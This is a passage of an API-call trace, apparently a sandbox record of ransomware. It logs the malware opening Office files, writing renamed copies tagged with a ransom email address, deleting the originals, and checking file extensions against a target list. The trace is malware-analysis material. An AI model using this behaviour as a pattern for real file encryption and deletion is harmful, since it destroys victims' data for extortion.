0xffffffff [0258.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0258.329] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.329] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0258.330] GetLastError () returned 0x0 [0258.330] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xe12e, lpOverlapped=0x0) returned 1 [0258.363] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe130, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe130, lpOverlapped=0x0) returned 1 [0258.365] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0258.365] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0258.365] SetEndOfFile (hFile=0x3bc) returned 1 [0258.365] CloseHandle (hObject=0x3bc) returned 1 [0258.365] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.365] SetEndOfFile (hFile=0x3a0) returned 1 [0258.368] CloseHandle (hObject=0x3a0) returned 1 [0258.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 1 [0258.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.404] lstrlenW (lpString=".doc") returned 4 [0258.404] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.404] lstrlenW (lpString=".docx") returned 5 [0258.404] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0258.404] lstrlenW (lpString=".pdf") returned 4 [0258.404] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.404] lstrlenW (lpString=".xls") returned 4 [0258.404] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.404] lstrlenW (lpString=".xlsx") returned 5 [0258.404] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0258.404] lstrlenW (lpString=".ppt") returned 4 [0258.404] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.404] lstrlenW (lpString=".zip") returned 4 [0258.404] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.404] lstrlenW (lpString=".rar") returned 4 [0258.404] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.404] lstrlenW (lpString=".bz2") returned 4 [0258.404] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.404] lstrlenW (lpString=".7z") returned 3 [0258.404] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.404] lstrlenW (lpString=".dbf") returned 4 [0258.404] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.404] lstrlenW (lpString=".1cd") returned 4 [0258.404] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.404] lstrlenW (lpString=".jpg") returned 4 [0258.404] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.405] lstrlenW (lpString=".doc") returned 4 [0258.405] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.405] lstrlenW (lpString=".docx") returned 5 [0258.405] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0258.405] lstrlenW (lpString=".pdf") returned 4 [0258.405] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.405] lstrlenW (lpString=".xls") returned 4 [0258.405] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.405] lstrlenW (lpString=".xlsx") returned 5 [0258.405] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0258.405] lstrlenW (lpString=".ppt") returned 4 [0258.405] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.405] lstrlenW (lpString=".zip") returned 4 [0258.405] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.405] lstrlenW (lpString=".rar") returned 4 [0258.405] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.405] lstrlenW (lpString=".bz2") returned 4 [0258.405] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.405] lstrlenW (lpString=".7z") returned 3 [0258.405] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.405] lstrlenW (lpString=".dbf") returned 4 [0258.405] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.405] lstrlenW (lpString=".1cd") returned 4 [0258.405] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned 61 [0258.405] lstrlenW (lpString=".jpg") returned 4 [0258.405] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.405] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.405] lstrlenW (lpString="MSART5.BDR") returned 10 [0258.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0258.406] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=15788) returned 1 [0258.406] CloseHandle (hObject=0x3b8) returned 1 [0258.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 0x20 [0258.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0258.406] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.406] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0258.407] GetLastError () returned 0x0 [0258.407] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x3dac, lpOverlapped=0x0) returned 1 [0258.433] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x3db0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x3db0, lpOverlapped=0x0) returned 1 [0258.545] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0258.545] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0258.545] SetEndOfFile (hFile=0x3a0) returned 1 [0258.546] CloseHandle (hObject=0x3a0) returned 1 [0258.546] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.546] SetEndOfFile (hFile=0x3b8) returned 1 [0258.548] CloseHandle (hObject=0x3b8) returned 1 [0258.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 1 [0258.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.574] lstrlenW (lpString=".doc") returned 4 [0258.574] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.574] lstrlenW (lpString=".docx") returned 5 [0258.574] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0258.574] lstrlenW (lpString=".pdf") returned 4 [0258.574] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.575] lstrlenW (lpString=".xls") returned 4 [0258.575] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.575] lstrlenW (lpString=".xlsx") returned 5 [0258.575] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0258.575] lstrlenW (lpString=".ppt") returned 4 [0258.575] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.575] lstrlenW (lpString=".zip") returned 4 [0258.575] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.575] lstrlenW (lpString=".rar") returned 4 [0258.575] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.575] lstrlenW (lpString=".bz2") returned 4 [0258.575] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.575] lstrlenW (lpString=".7z") returned 3 [0258.575] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.575] lstrlenW (lpString=".dbf") returned 4 [0258.575] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.575] lstrlenW (lpString=".1cd") returned 4 [0258.575] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.575] lstrlenW (lpString=".jpg") returned 4 [0258.575] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.575] lstrlenW (lpString=".doc") returned 4 [0258.575] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.576] lstrlenW (lpString=".docx") returned 5 [0258.576] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0258.576] lstrlenW (lpString=".pdf") returned 4 [0258.576] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.576] lstrlenW (lpString=".xls") returned 4 [0258.576] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.576] lstrlenW (lpString=".xlsx") returned 5 [0258.576] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0258.576] lstrlenW (lpString=".ppt") returned 4 [0258.576] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.576] lstrlenW (lpString=".zip") returned 4 [0258.576] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.576] lstrlenW (lpString=".rar") returned 4 [0258.576] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.576] lstrlenW (lpString=".bz2") returned 4 [0258.576] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.576] lstrlenW (lpString=".7z") returned 3 [0258.576] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.576] lstrlenW (lpString=".dbf") returned 4 [0258.576] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.576] lstrlenW (lpString=".1cd") returned 4 [0258.576] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0258.576] lstrlenW (lpString=".jpg") returned 4 [0258.576] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.576] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.576] lstrlenW (lpString="MSART8.BDR") returned 10 [0258.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.577] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=49098) returned 1 [0258.577] CloseHandle (hObject=0x3a8) returned 1 [0258.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 0x20 [0258.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.577] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.577] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.781] GetLastError () returned 0x0 [0258.781] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbfca, lpOverlapped=0x0) returned 1 [0258.783] WriteFile (in: hFile=0x394, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbfd0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbfd0, lpOverlapped=0x0) returned 1 [0258.784] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0258.785] WriteFile (in: hFile=0x394, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0258.785] SetEndOfFile (hFile=0x394) returned 1 [0258.785] CloseHandle (hObject=0x394) returned 1 [0258.785] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.785] SetEndOfFile (hFile=0x3a8) returned 1 [0258.788] CloseHandle (hObject=0x3a8) returned 1 [0258.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 1 [0258.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.809] lstrlenW (lpString=".doc") returned 4 [0258.809] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.809] lstrlenW (lpString=".docx") returned 5 [0258.809] lstrcmpiW (lpString1=".docx", lpString2="8.BDR") returned -1 [0258.809] lstrlenW (lpString=".pdf") returned 4 [0258.809] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.809] lstrlenW (lpString=".xls") returned 4 [0258.809] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.809] lstrlenW (lpString=".xlsx") returned 5 [0258.809] lstrcmpiW (lpString1=".xlsx", lpString2="8.BDR") returned -1 [0258.809] lstrlenW (lpString=".ppt") returned 4 [0258.809] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.809] lstrlenW (lpString=".zip") returned 4 [0258.809] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.809] lstrlenW (lpString=".rar") returned 4 [0258.809] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.809] lstrlenW (lpString=".bz2") returned 4 [0258.809] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.809] lstrlenW (lpString=".7z") returned 3 [0258.809] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.810] lstrlenW (lpString=".dbf") returned 4 [0258.810] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.810] lstrlenW (lpString=".1cd") returned 4 [0258.810] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.810] lstrlenW (lpString=".jpg") returned 4 [0258.810] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.810] lstrlenW (lpString=".doc") returned 4 [0258.810] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.810] lstrlenW (lpString=".docx") returned 5 [0258.810] lstrcmpiW (lpString1=".docx", lpString2="8.BDR") returned -1 [0258.810] lstrlenW (lpString=".pdf") returned 4 [0258.810] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.810] lstrlenW (lpString=".xls") returned 4 [0258.810] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.810] lstrlenW (lpString=".xlsx") returned 5 [0258.810] lstrcmpiW (lpString1=".xlsx", lpString2="8.BDR") returned -1 [0258.810] lstrlenW (lpString=".ppt") returned 4 [0258.810] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.810] lstrlenW (lpString=".zip") returned 4 [0258.810] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.810] lstrlenW (lpString=".rar") returned 4 [0258.810] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.810] lstrlenW (lpString=".bz2") returned 4 [0258.810] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.810] lstrlenW (lpString=".7z") returned 3 [0258.810] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.810] lstrlenW (lpString=".dbf") returned 4 [0258.810] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.811] lstrlenW (lpString=".1cd") returned 4 [0258.811] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0258.811] lstrlenW (lpString=".jpg") returned 4 [0258.811] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.811] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0258.811] lstrlenW (lpString="CLVIEW.EXE") returned 10 [0258.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.825] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=270200) returned 1 [0258.825] CloseHandle (hObject=0x390) returned 1 [0258.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe")) returned 0x20 [0258.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0259.193] lstrlenW (lpString=".doc") returned 4 [0259.193] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0259.199] lstrlenW (lpString=".docx") returned 5 [0259.199] lstrcmpiW (lpString1=".docx", lpString2="W.EXE") returned -1 [0259.199] lstrlenW (lpString=".pdf") returned 4 [0259.199] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0259.199] lstrlenW (lpString=".xls") returned 4 [0259.199] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0259.199] lstrlenW (lpString=".xlsx") returned 5 [0259.199] lstrcmpiW (lpString1=".xlsx", lpString2="W.EXE") returned -1 [0259.199] lstrlenW (lpString=".ppt") returned 4 [0259.199] lstrcmpiW (lpString1=".ppt", 